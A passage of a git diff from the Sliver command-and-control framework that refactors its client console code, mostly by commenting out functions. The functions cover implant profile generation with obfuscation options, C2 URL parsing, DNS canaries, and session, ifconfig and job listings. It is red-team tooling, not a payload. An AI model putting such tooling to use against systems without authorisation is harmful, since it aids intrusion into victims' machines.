url.Parse("namedpipe://" + arg) +// if len(arg) < 1 { +// continue +// } +// if err != nil { +// return c2s +// } +// c2s = append(c2s, &clientpb.ImplantC2{ +// Priority: uint32(index), +// URL: uri.String(), +// }) +// } +// return c2s +// } + +// func parseTCPPivotc2(args string) []*clientpb.ImplantC2 { +// c2s := []*clientpb.ImplantC2{} +// if args == "" { +// return c2s +// } +// for index, arg := range strings.Split(args, ",") { + +// uri := url.URL{Scheme: "tcppivot"} +// uri.Host = arg +// if uri.Port() == "" { +// uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultTCPPivotPort) +// } +// c2s = append(c2s, &clientpb.ImplantC2{ +// Priority: uint32(index), +// URL: uri.String(), +// }) +// } +// return c2s +// } + +// func profileGenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// name := ctx.Flags.String("name") +// if name == "" { +// fmt.Printf(Warn + "no profile selected") +// return +// } +// save := ctx.Flags.String("save") +// if save == "" { +// save, _ = os.Getwd() +// } +// profile := getImplantProfileByName(rpc, name) +// if profile != nil { +// implantFile, err := compile(profile.Config, save, rpc) +// if err != nil { +// return +// } +// profile.Config.Name = buildImplantName(implantFile.Name) +// _, err = rpc.SaveImplantProfile(context.Background(), profile) +// if err != nil { +// fmt.Printf(Warn+"could not update implant profile: %v\n", err) +// return +// } +// } else { +// fmt.Printf(Warn+"No profile with name '%s'", name) +// } +// } + +// func compile(config *clientpb.ImplantConfig, save string, rpc rpcpb.SliverRPCClient) (*commonpb.File, error) { + +// fmt.Printf(Info+"Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH) + +// if config.ObfuscateSymbols { +// fmt.Printf(Info+"%sSymbol obfuscation is enabled%s\n", bold, normal) +// } else if !config.Debug { +// fmt.Printf(Warn+"Symbol obfuscation is %sdisabled%s\n", bold, normal) +// } + +// start := time.Now() +// ctrl := make(chan bool) +// go spin.Until("Compiling, please wait ...", ctrl) + +// generated, err := rpc.Generate(context.Background(), &clientpb.GenerateReq{ +// Config: config, +// }) +// ctrl <- true +// <-ctrl +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return nil, err +// } + +// end := time.Now() +// elapsed := time.Time{}.Add(end.Sub(start)) +// fmt.Printf(clearln+Info+"Build completed in %s\n", elapsed.Format("15:04:05")) +// if len(generated.File.Data) == 0 { +// fmt.Printf(Warn + "Build failed, no file data\n") +// return nil, errors.New("No file data") +// } + +// saveTo, err := saveLocation(save, generated.File.Name) +// if err != nil { +// return nil, err +// } + +// err = ioutil.WriteFile(saveTo, generated.File.Data, 0700) +// if err != nil { +// fmt.Printf(Warn+"Failed to write to: %s\n", saveTo) +// return nil, err +// } +// fmt.Printf(Info+"Implant saved to %s\n", saveTo) +// return generated.File, err +// } + +// func profiles(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// profiles := getImplantProfiles(rpc) +// if profiles == nil { +// return +// } +// if len(profiles) == 0 { +// fmt.Printf(Info+"No profiles, create one with `%s`\n", consts.NewStr) +// return +// } +// table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0) +// fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n") +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n", +// strings.Repeat("=", len("Name")), +// strings.Repeat("=", len("Platform")), +// strings.Repeat("=", len("Command & Control")), +// strings.Repeat("=", len("Debug")), +// strings.Repeat("=", len("Format")), +// strings.Repeat("=", len("Obfuscation")), +// strings.Repeat("=", len("Limitations")), +// ) + +// for _, profile := range profiles { +// config := profile.Config +// if 0 < len(config.C2) { +// obfuscation := "strings only" +// if config.ObfuscateSymbols { +// obfuscation = "symbols obfuscation" +// } +// if config.Debug { +// obfuscation = "none" +// } +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", +// profile.Name, +// fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH), +// fmt.Sprintf("[1] %s", config.C2[0].URL), +// fmt.Sprintf("%v", config.Debug), +// fmt.Sprintf("%v", config.Format), +// fmt.Sprintf("%s", obfuscation), +// getLimitsString(config), +// ) +// } +// if 1 < len(config.C2) { +// for index, c2 := range config.C2[1:] { +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", +// "", +// "", +// fmt.Sprintf("[%d] %s", index+2, c2.URL), +// "", +// "", +// "", +// "", +// ) +// } +// } +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "") +// } +// table.Flush() +// } + +// func getLimitsString(config *clientpb.ImplantConfig) string { +// limits := []string{} +// if config.LimitDatetime != "" { +// limits = append(limits, fmt.Sprintf("datetime=%s", config.LimitDatetime)) +// } +// if config.LimitDomainJoined { +// limits = append(limits, fmt.Sprintf("domainjoined=%v", config.LimitDomainJoined)) +// } +// if config.LimitUsername != "" { +// limits = append(limits, fmt.Sprintf("username=%s", config.LimitUsername)) +// } +// if config.LimitHostname != "" { +// limits = append(limits, fmt.Sprintf("hostname=%s", config.LimitHostname)) +// } +// if config.LimitFileExists != "" { +// limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists)) +// } +// return strings.Join(limits, "; ") +// } + +// func newProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// name := ctx.Flags.String("profile-name") +// if name == "" { +// fmt.Printf(Warn + "Invalid profile name\n") +// return +// } +// config := parseCompileFlags(ctx, rpc) +// if config == nil { +// return +// } +// profile := &clientpb.ImplantProfile{ +// Name: name, +// Config: config, +// } +// resp, err := rpc.SaveImplantProfile(context.Background(), profile) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// } else { +// fmt.Printf(Info+"Saved new profile %s\n", resp.Name) +// } +// } + +// func rmProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// _, err := rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{ +// Name: ctx.Args.String("profile-name"), +// }) +// if err != nil { +// fmt.Printf(Warn+"Failed to delete profile %s\n", err) +// return +// } +// } + +// func getImplantProfiles(rpc rpcpb.SliverRPCClient) []*clientpb.ImplantProfile { +// pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"Error %s", err) +// return nil +// } +// return pbProfiles.Profiles +// } + +// func getImplantProfileByName(rpc rpcpb.SliverRPCClient, name string) *clientpb.ImplantProfile { +// pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"Error %s", err) +// return nil +// } +// for _, profile := range pbProfiles.Profiles { +// if profile.Name == name { +// return profile +// } +// } +// return nil +// } + +// func canaries(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// canaries, err := rpc.Canaries(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"Failed to list canaries %s", err) +// return +// } +// if 0 < len(canaries.Canaries) { +// displayCanaries(canaries.Canaries, ctx.Flags.Bool("burned")) +// } else { +// fmt.Printf(Info + "No canaries in database\n") +// } +// } + +// func displayCanaries(canaries []*clientpb.DNSCanary, burnedOnly bool) { + +// outputBuf := bytes.NewBufferString("") +// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) + +// fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n") +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", +// strings.Repeat("=", len("Sliver Name")), +// strings.Repeat("=", len("Domain")), +// strings.Repeat("=", len("Triggered")), +// strings.Repeat("=", len("First Trigger")), +// strings.Repeat("=", len("Latest Trigger")), +// ) + +// lineColors := []string{} +// for _, canary := range canaries { +// if burnedOnly && !canary.Triggered { +// continue +// } +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", +// canary.ImplantName, +// canary.Domain, +// fmt.Sprintf("%v", canary.Triggered), +// canary.FirstTriggered, +// canary.LatestTrigger, +// ) +// if canary.Triggered { +// lineColors = append(lineColors, bold+red) +// } else { +// lineColors = append(lineColors, normal) +// } +// } +// table.Flush() + +// for index, line := range strings.Split(outputBuf.String(), "\n") { +// if len(line) == 0 { +// continue +// } +// // We need to account for the two rows of column headers +// if 0 < len(line) && 2 <= index { +// lineColor := lineColors[index-2] +// fmt.Printf("%s%s%s\n", lineColor, line, normal) +// } else { +// fmt.Printf("%s\n", line) +// } +// } +// } diff --git a/client/command/help.go b/client/command/help/help.go similarity index 83% rename from client/command/help.go rename to client/command/help/help.go index 54ceff7ab3..99ce32f1e1 100644 --- a/client/command/help.go +++ b/client/command/help/help.go @@ -1,4 +1,4 @@ -package command +package help /* Sliver Implant Framework @@ -22,28 +22,30 @@ import ( "fmt" "sort" + "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/desertbit/columnize" "github.com/desertbit/grumble" ) -func helpCmd(app *grumble.App, isShell bool) { - printHelp(app) - fmt.Println() +func HelpCmd(con *console.SliverConsoleClient) func(a *grumble.App, shell bool) { + return func(a *grumble.App, shell bool) { + printHelp(con) + } } -func printHelp(app *grumble.App) { +func printHelp(con *console.SliverConsoleClient) { config := columnize.DefaultConfig() config.Delim = "|" config.Glue = " " config.Prefix = " " // Group the commands by their help group if present. groups := make(map[string]*grumble.Commands) - for _, c := range app.Commands().All() { + for _, c := range con.App.Commands().All() { key := c.HelpGroup - if ActiveSession.Get() != nil { - if ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup { + if con.ActiveSession.Get() != nil { + if con.ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup { continue } } else { @@ -85,7 +87,7 @@ func printHelp(app *grumble.App) { if len(output) > 0 { fmt.Println() - printHeadline(app.Config(), headline) + printHeadline(con.App.Config(), headline) fmt.Printf("%s\n", columnize.Format(output, config)) } } diff --git a/client/command/ifconfig.go b/client/command/ifconfig.go index 0e135597fc..26c7d6cf90 100644 --- a/client/command/ifconfig.go +++ b/client/command/ifconfig.go @@ -1,81 +1,81 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2021 Bishop Fox +// /* +// Sliver Implant Framework +// Copyright (C) 2021 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ -import ( - "context" - "fmt" - "strconv" - "strings" +// import ( +// "context" +// "fmt" +// "strconv" +// "strings" - "github.com/desertbit/grumble" +// "github.com/desertbit/grumble" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" -) +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" +// ) -func ifconfig(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } +// func ifconfig(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } - ifconfig, err := rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{ - Request: ActiveSession.Request(ctx), - }) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } +// ifconfig, err := rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{ +// Request: ActiveSession.Request(ctx), +// }) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } - for ifaceIndex, iface := range ifconfig.NetInterfaces { - fmt.Printf("%s%s%s (%d)\n", bold, iface.Name, normal, ifaceIndex) - if 0 < len(iface.MAC) { - fmt.Printf(" MAC Address: %s\n", iface.MAC) - } - for _, ip := range iface.IPAddresses { +// for ifaceIndex, iface := range ifconfig.NetInterfaces { +// fmt.Printf("%s%s%s (%d)\n", bold, iface.Name, normal, ifaceIndex) +// if 0 < len(iface.MAC) { +// fmt.Printf(" MAC Address: %s\n", iface.MAC) +// } +// for _, ip := range iface.IPAddresses { - // Try to find local IPs and colorize them - subnet := -1 - if strings.Contains(ip, "/") { - parts := strings.Split(ip, "/") - subnetStr := parts[len(parts)-1] - subnet, err = strconv.Atoi(subnetStr) - if err != nil { - subnet = -1 - } - } +// // Try to find local IPs and colorize them +// subnet := -1 +// if strings.Contains(ip, "/") { +// parts := strings.Split(ip, "/") +// subnetStr := parts[len(parts)-1] +// subnet, err = strconv.Atoi(subnetStr) +// if err != nil { +// subnet = -1 +// } +// } - if 0 < subnet && subnet <= 32 && !isLoopback(ip) { - fmt.Printf(bold+green+" IP Address: %s%s\n", ip, normal) - } else if 32 < subnet && !isLoopback(ip) { - fmt.Printf(bold+cyan+" IP Address: %s%s\n", ip, normal) - } else { - fmt.Printf(" IP Address: %s\n", ip) - } - } - } -} +// if 0 < subnet && subnet <= 32 && !isLoopback(ip) { +// fmt.Printf(bold+green+" IP Address: %s%s\n", ip, normal) +// } else if 32 < subnet && !isLoopback(ip) { +// fmt.Printf(bold+cyan+" IP Address: %s%s\n", ip, normal) +// } else { +// fmt.Printf(" IP Address: %s\n", ip) +// } +// } +// } +// } -func isLoopback(ip string) bool { - if strings.HasPrefix(ip, "127") || strings.HasPrefix(ip, "::1") { - return true - } - return false -} +// func isLoopback(ip string) bool { +// if strings.HasPrefix(ip, "127") || strings.HasPrefix(ip, "::1") { +// return true +// } +// return false +// } diff --git a/client/command/implants.go b/client/command/implants.go index c0430589cc..c22e8dda0e 100644 --- a/client/command/implants.go +++ b/client/command/implants.go @@ -1,97 +1,97 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ -import ( - "bytes" - "context" - "fmt" - "strings" - "text/tabwriter" +// import ( +// "bytes" +// "context" +// "fmt" +// "strings" +// "text/tabwriter" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/desertbit/grumble" -) +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/commonpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/desertbit/grumble" +// ) -func listImplantBuilds(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - builds, err := rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } +// func listImplantBuilds(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// builds, err := rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } - if 0 < len(builds.Configs) { - displayAllImplantBuilds(builds.Configs) - } else { - fmt.Printf(Info + "No implant builds\n") - } -} +// if 0 < len(builds.Configs) { +// displayAllImplantBuilds(builds.Configs) +// } else { +// fmt.Printf(Info + "No implant builds\n") +// } +// } -func rmImplantBuild(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - _, err := rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{ - Name: ctx.Args.String("implant-name"), - }) - if err != nil { - fmt.Printf(Warn+"Failed to delete implant %s\n", err) - return - } -} +// func rmImplantBuild(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// _, err := rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{ +// Name: ctx.Args.String("implant-name"), +// }) +// if err != nil { +// fmt.Printf(Warn+"Failed to delete implant %s\n", err) +// return +// } +// } -func displayAllImplantBuilds(configs map[string]*clientpb.ImplantConfig) { +// func displayAllImplantBuilds(configs map[string]*clientpb.ImplantConfig) { - outputBuf := bytes.NewBufferString("") - table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) +// outputBuf := bytes.NewBufferString("") +// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) - fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n") - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", - strings.Repeat("=", len("Name")), - strings.Repeat("=", len("OS/Arch")), - strings.Repeat("=", len("Debug")), - strings.Repeat("=", len("Format")), - strings.Repeat("=", len("Command & Control")), - ) +// fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n") +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", +// strings.Repeat("=", len("Name")), +// strings.Repeat("=", len("OS/Arch")), +// strings.Repeat("=", len("Debug")), +// strings.Repeat("=", len("Format")), +// strings.Repeat("=", len("Command & Control")), +// ) - for sliverName, config := range configs { - if 0 < len(config.C2) { - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", - sliverName, - fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH), - fmt.Sprintf("%v", config.Debug), - config.Format, - fmt.Sprintf("[1] %s", config.C2[0].URL), - ) - } - if 1 < len(config.C2) { - for index, c2 := range config.C2[1:] { - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", - "", - "", - "", - "", - fmt.Sprintf("[%d] %s", index+2, c2.URL), - ) - } - } - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "") - } - table.Flush() - fmt.Printf(outputBuf.String()) -} +// for sliverName, config := range configs { +// if 0 < len(config.C2) { +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", +// sliverName, +// fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH), +// fmt.Sprintf("%v", config.Debug), +// config.Format, +// fmt.Sprintf("[1] %s", config.C2[0].URL), +// ) +// } +// if 1 < len(config.C2) { +// for index, c2 := range config.C2[1:] { +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", +// "", +// "", +// "", +// "", +// fmt.Sprintf("[%d] %s", index+2, c2.URL), +// ) +// } +// } +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "") +// } +// table.Flush() +// fmt.Printf(outputBuf.String()) +// } diff --git a/client/command/info.go b/client/command/info.go index 936c272fd5..96cef4b89f 100644 --- a/client/command/info.go +++ b/client/command/info.go @@ -1,114 +1,114 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "fmt" - - insecureRand "math/rand" - - consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" - - "github.com/desertbit/grumble" -) - -func info(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - - var session *clientpb.Session - sessionName := ctx.Args.String("session") - if ActiveSession.GetInteractive() != nil { - session = ActiveSession.GetInteractive() - } else if sessionName != "" { - session = GetSession(sessionName, rpc) - } - - if session != nil { - fmt.Printf(bold+" ID: %s%d\n", normal, session.ID) - fmt.Printf(bold+" Name: %s%s\n", normal, session.Name) - fmt.Printf(bold+" Hostname: %s%s\n", normal, session.Hostname) - fmt.Printf(bold+" UUID: %s%s\n", normal, session.UUID) - fmt.Printf(bold+" Username: %s%s\n", normal, session.Username) - fmt.Printf(bold+" UID: %s%s\n", normal, session.UID) - fmt.Printf(bold+" GID: %s%s\n", normal, session.GID) - fmt.Printf(bold+" PID: %s%d\n", normal, session.PID) - fmt.Printf(bold+" OS: %s%s\n", normal, session.OS) - fmt.Printf(bold+" Version: %s%s\n", normal, session.Version) - fmt.Printf(bold+" Arch: %s%s\n", normal, session.Arch) - fmt.Printf(bold+" Remote Address: %s%s\n", normal, session.RemoteAddress) - fmt.Printf(bold+" Proxy URL: %s%s\n", normal, session.ProxyURL) - fmt.Printf(bold+" Poll Interval: %s%d\n", normal, session.PollInterval) - fmt.Printf(bold+"Reconnect Interval: %s%d\n", normal, session.ReconnectInterval) - } else { - fmt.Printf(Warn+"No target session, see `help %s`\n", consts.InfoStr) - } -} - -func ping(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - nonce := insecureRand.Intn(999999) - fmt.Printf(Info+"Ping %d\n", nonce) - pong, err := rpc.Ping(context.Background(), &sliverpb.Ping{ - Nonce: int32(nonce), - Request: ActiveSession.Request(ctx), - }) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - } else { - fmt.Printf(Info+"Pong %d\n", pong.Nonce) - } -} - -func getPID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - fmt.Printf("%d\n", session.PID) -} - -func getUID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - fmt.Printf("%s\n", session.UID) -} - -func getGID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - fmt.Printf("%s\n", session.GID) -} - -func whoami(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - fmt.Printf("%s\n", session.Username) -} +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ + +// import ( +// "context" +// "fmt" + +// insecureRand "math/rand" + +// consts "github.com/bishopfox/sliver/client/constants" +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" + +// "github.com/desertbit/grumble" +// ) + +// func info(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { + +// var session *clientpb.Session +// sessionName := ctx.Args.String("session") +// if ActiveSession.GetInteractive() != nil { +// session = ActiveSession.GetInteractive() +// } else if sessionName != "" { +// session = GetSession(sessionName, rpc) +// } + +// if session != nil { +// fmt.Printf(bold+" ID: %s%d\n", normal, session.ID) +// fmt.Printf(bold+" Name: %s%s\n", normal, session.Name) +// fmt.Printf(bold+" Hostname: %s%s\n", normal, session.Hostname) +// fmt.Printf(bold+" UUID: %s%s\n", normal, session.UUID) +// fmt.Printf(bold+" Username: %s%s\n", normal, session.Username) +// fmt.Printf(bold+" UID: %s%s\n", normal, session.UID) +// fmt.Printf(bold+" GID: %s%s\n", normal, session.GID) +// fmt.Printf(bold+" PID: %s%d\n", normal, session.PID) +// fmt.Printf(bold+" OS: %s%s\n", normal, session.OS) +// fmt.Printf(bold+" Version: %s%s\n", normal, session.Version) +// fmt.Printf(bold+" Arch: %s%s\n", normal, session.Arch) +// fmt.Printf(bold+" Remote Address: %s%s\n", normal, session.RemoteAddress) +// fmt.Printf(bold+" Proxy URL: %s%s\n", normal, session.ProxyURL) +// fmt.Printf(bold+" Poll Interval: %s%d\n", normal, session.PollInterval) +// fmt.Printf(bold+"Reconnect Interval: %s%d\n", normal, session.ReconnectInterval) +// } else { +// fmt.Printf(Warn+"No target session, see `help %s`\n", consts.InfoStr) +// } +// } + +// func ping(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } +// nonce := insecureRand.Intn(999999) +// fmt.Printf(Info+"Ping %d\n", nonce) +// pong, err := rpc.Ping(context.Background(), &sliverpb.Ping{ +// Nonce: int32(nonce), +// Request: ActiveSession.Request(ctx), +// }) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// } else { +// fmt.Printf(Info+"Pong %d\n", pong.Nonce) +// } +// } + +// func getPID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } +// fmt.Printf("%d\n", session.PID) +// } + +// func getUID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } +// fmt.Printf("%s\n", session.UID) +// } + +// func getGID(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } +// fmt.Printf("%s\n", session.GID) +// } + +// func whoami(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } +// fmt.Printf("%s\n", session.Username) +// } diff --git a/client/command/job.go b/client/command/job.go index 15e27e4f49..610bad0525 100644 --- a/client/command/job.go +++ b/client/command/job.go @@ -1,231 +1,231 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "fmt" - "io/ioutil" - "os" - "sort" - "strings" - "text/tabwriter" - - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - - // "github.com/bishopfox/sliver/protobuf/sliverpb" - - "github.com/desertbit/grumble" - // "github.com/golang/protobuf/proto" -) - -func jobs(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - if ctx.Flags.Int("kill") != -1 { - killJob(uint32(ctx.Flags.Int("kill")), rpc) - } else if ctx.Flags.Bool("kill-all") { - killAllJobs(rpc) - } else { - jobs, err := rpc.GetJobs(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"%s", err) - return - } - // Convert to a map - activeJobs := map[uint32]*clientpb.Job{} - for _, job := range jobs.Active { - activeJobs[job.ID] = job - } - if 0 < len(activeJobs) { - printJobs(activeJobs) - } else { - fmt.Printf(Info + "No active jobs\n") - } - } -} - -func killAllJobs(rpc rpcpb.SliverRPCClient) { - jobs, err := rpc.GetJobs(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - for _, job := range jobs.Active { - killJob(job.ID, rpc) - } -} - -func killJob(jobID uint32, rpc rpcpb.SliverRPCClient) { - fmt.Printf(Info+"Killing job #%d ...\n", jobID) - jobKill, err := rpc.KillJob(context.Background(), &clientpb.KillJobReq{ - ID: jobID, - }) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - } else { - fmt.Printf(Info+"Successfully killed job #%d\n", jobKill.ID) - } -} - -func printJobs(jobs map[uint32]*clientpb.Job) { - table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0) - fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n") - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", - strings.Repeat("=", len("ID")), - strings.Repeat("=", len("Name")), - strings.Repeat("=", len("Protocol")), - strings.Repeat("=", len("Port"))) - - var keys []int - for _, job := range jobs { - keys = append(keys, int(job.ID)) - } - sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's - - for _, k := range keys { - job := jobs[uint32(k)] - fmt.Fprintf(table, 